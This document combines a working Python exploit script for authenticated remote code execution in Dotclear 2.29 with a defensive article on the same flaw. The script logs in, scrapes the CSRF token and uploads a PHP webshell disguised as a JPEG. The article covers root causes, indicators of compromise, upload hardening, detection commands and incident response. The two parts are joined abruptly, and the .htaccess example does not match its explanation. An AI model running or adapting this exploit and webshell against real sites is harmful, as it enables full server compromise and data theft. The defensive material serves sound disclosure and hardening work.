Dotclear 2.29 - Remote Code Execution (RCE)
# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://git.dotclear.org/explore/repos
# Software Link:
https://github.com/dotclear/dotclear/archive/refs/heads/master.zip
# Tested Version: v2.29 (latest)
# Tested on: MacOS
import requests
import time
import random
import string
from bs4 import BeautifulSoup
def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension
def get_csrf_token(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
token = soup.find('input', {'name': 'xd_check'})
return token['value'] if token else None
def login(base_url, username, password):
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
session = requests.Session()
login_data = {
"user_id": username,
"user_pwd": password
}
login_url = f"{base_url}/admin/index.php?process=Auth"
login_response = session.post(login_url, data=login_data)
if "Logout" in login_response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
return None
def upload_file(session, base_url, filename):
print("Shell Preparing...")
time.sleep(1)
boundary = "---------------------------376201441124932790524235275389"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"X-Requested-With": "XMLHttpRequest"
}
csrf_token = get_csrf_token(session.get(f"{base_url}
/admin/index.php?process=Media").text)
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"
f"2097152\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"
f"{csrf_token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}
\"\r\n"
f"Content-Type: image/jpeg\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)
upload_response = session.post(f"{base_url}
/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",
headers=headers, data=payload.encode('utf-8'))
if upload_response.status_code == 200:
print(f"Your Shell is Ready: {base_url}/public/{filename}")
else:
print("Exploit Failed!")
def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
upload_file(session, base_url, filename)
if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
main(base_url, username, password) Dotclear 2.29 — Remote Code Execution (RCE): Analysis, Impact, and Defence
Summary
In April 2024 a remote code execution (RCE) issue affecting Dotclear 2.29 was disclosed by a researcher. The vulnerability allows an authenticated user with access to the administrative media upload interface to place executable code into a web-accessible location and achieve remote command execution. This article explains the high‑level technical root causes, risk and impact, detection and incident response guidance, and robust mitigations and hardening strategies for web applications that accept file uploads.
Vulnerability overview (high level)
At a conceptual level the RCE arises when three conditions coincide:
- an attacker with sufficient privileges (typically an authenticated admin/editor) can upload files to a directory served by the webserver;
- the application does not reliably validate or neutralize the content of uploaded files (for example, allowing PHP code under the guise of an image); and
- the upload location permits execution of server-side code (PHP) or the server is configured in a way that executes uploaded content.
When these conditions are present, an uploaded file containing server-side code (a “webshell”) can be executed by requesting it over HTTP, creating an RCE vector.
Affected versions and severity
| Component | Impact |
|---|---|
| Dotclear 2.29 (media upload) | High — Remote Code Execution (authenticated) |
Because the issue leads to arbitrary code execution, the vulnerability is high severity for affected installations. Administrators should treat this as a critical operational risk and remediate urgently.
Root causes (technical, non-exploitative)
- Insufficient server-side validation of uploaded files: relying only on filename extension or client-provided MIME types.
- Direct storage of uploaded files under a web-accessible directory without neutralization or re-encoding.
- Server configuration that allows execution of uploaded files (e.g., PHP execution in upload folder).
- Weak access controls or predictable CSRF/mechanisms protecting the admin upload functionality.
Potential impact
- Full site compromise (code execution as webserver user).
- Data exfiltration, credential theft, and lateral movement where the compromised server is a pivot.
- Malware persistence (webshells), content tampering, or inclusion of malicious assets served to visitors.
Detection and indicators of compromise (defensive)
- Unexpected PHP files in upload directories (often with image-like names or odd extensions).
- HTTP GET/POST requests to newly created files in the uploads/public directory that produce command output or CGI-like responses.
- New or unusual admin logins, particularly from new IP addresses or at odd times.
- Outbound network connections from the webserver to attacker-controlled hosts.
- File-modification timestamps that indicate recent uploads not matching expected maintenance activity.
Immediate mitigations
- Apply the vendor patch or upgrade Dotclear to the patched release as soon as possible.
- If a patch cannot be applied immediately:
- Disable or restrict the media upload feature to trusted personnel only.
- Restrict access to the admin interface by IP allowlist, VPN, or require MFA.
- Temporarily disable PHP execution in the upload/public directory (see example below).
- Change administrator passwords and rotate API keys used by the application.
Secure configuration — recommended changes
Apply multiple layers of defence (“defense in depth”): prevent dangerous files reaching the webroot, and ensure the webserver will not execute files from upload locations even if an attacker manages to write them.
Server configuration: disable PHP execution in upload folders
# Example Apache .htaccess placed in the uploads/public directory
# Deny execution of scripts
Require all denied
# Force a safe content type for downloads
Header set X-Content-Type-Options "nosniff"
Explanation: The .htaccess snippet prevents the webserver from executing typical script file extensions within the uploads directory and sets the X-Content-Type-Options header to reduce MIME-sniffing risks. For Nginx, equivalent configuration blocks (location and try_files) can be used to ensure uploads are served as static files only and not passed to PHP-FPM.
Secure upload handling pattern (PHP example)
<?php
// Secure upload handling (illustrative, simplified)
$uploadDir = '/var/www/uploads/safe_store/'; // outside webroot if possible
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
// 1) Basic error check
if ($file['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
echo "Upload error";
exit;
}
// 2) Limit file size (server-side)
$maxBytes = 2 * 1024 * 1024; // 2 MB
if ($file['size'] > $maxBytes) {
http_response_code(413);
echo "File too large";
exit;
}
// 3) Validate MIME type using server-side detection
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed, true)) {
http_response_code(415);
echo "Invalid file type";
exit;
}
// 4) Re-encode images to canonical form (GD example)
$img = @imagecreatefromstring(file_get_contents($file['tmp_name']));
if ($img === false) {
http_response_code(415);
echo "Invalid image";
exit;
}
$safeName = bin2hex(random_bytes(16)) . '.jpg';
$destPath = $uploadDir . $safeName;
imagejpeg($img, $destPath, 85);
imagedestroy($img);
// 5) Set safe permissions
chmod($destPath, 0644);
// 6) Store metadata in DB, never reuse the original filename for direct serving
echo "Upload successful";
}
?>
Explanation: This example demonstrates defensive upload processing. It performs server-side size checks, validates MIME type with finfo (not client-provided values), re-encodes images (so embedded PHP or non-image data are removed), uses a random filename that does not include user-supplied names or extensions, stores files outside the webroot where possible, and sets restrictive file permissions.
Serving uploaded content safely
When you must make uploaded files available via HTTP, serve them through a controlled delivery script that:
- reads the file from a non-webroot location
- verifies access control (authorization)
- sets Content-Type explicitly
- prevents execution by ensuring the file is handled as a static download
Detection commands and scanning (defensive)
# Example defensive checks (run as admin for incident response)
# 1) Find PHP files in uploads/public
find /var/www -type f -path '*/uploads/*' -iname '*.php' -print
# 2) Search for common webshell patterns (defensive use)
grep -R --line-number --include="*.php" -E "(eval\(|base64_decode\(|system\(|exec\(|passthru\()" /var/www/uploads || true
Explanation: These commands help defenders discover suspicious PHP files or potentially malicious function use in upload directories. They are intended for use by administrators responding to incidents and should be followed by further inspection and forensic steps.
Incident response checklist
- Isolate affected hosts from the network (if compromise suspected).
- Collect and preserve logs (webserver, syslog, application logs) and filesystem snapshots.
- Search for indicators described above and remove or quarantine unknown files.
- Rotate credentials for admin users and any keys stored on the server.
- If a webshell or other persistence is found, consider a full rebuild from a known-good image.
- After remediation, monitor closely for reappearance and review audit trails to identify initial infection vector.
Long‑term hardening and best practices
- Keep CMS and all plugins/themes up to date; apply vendor patches promptly.
- Store uploaded files outside the webroot and serve via an access-controlled handler.
- Use server configuration to prevent execution in upload directories.
- Enforce least privilege on application accounts and file system owners.
- Harden admin access using MFA, IP restrictions, and monitoring of admin actions.
- Use a Web Application Firewall (WAF) to block suspicious upload behaviour and known exploit patterns.
- Adopt content security policies and HTTP security headers to limit impact of injected content.
Responsible disclosure and patch management
If you are a site operator: subscribe to the Dotclear security advisories, test updates in a staging environment, and apply patches after verifying compatibility. If you discover a new vulnerability, follow responsible disclosure best practices: notify the vendor privately, provide reproducible details for patching, and coordinate public disclosure to minimize risk to users.
Resources
- Dotclear project: https://git.dotclear.org/explore/repos
- OWASP: File Upload Cheat Sheet — best practices for handling uploads
- General secure deployment guides for Apache, Nginx, and PHP-FPM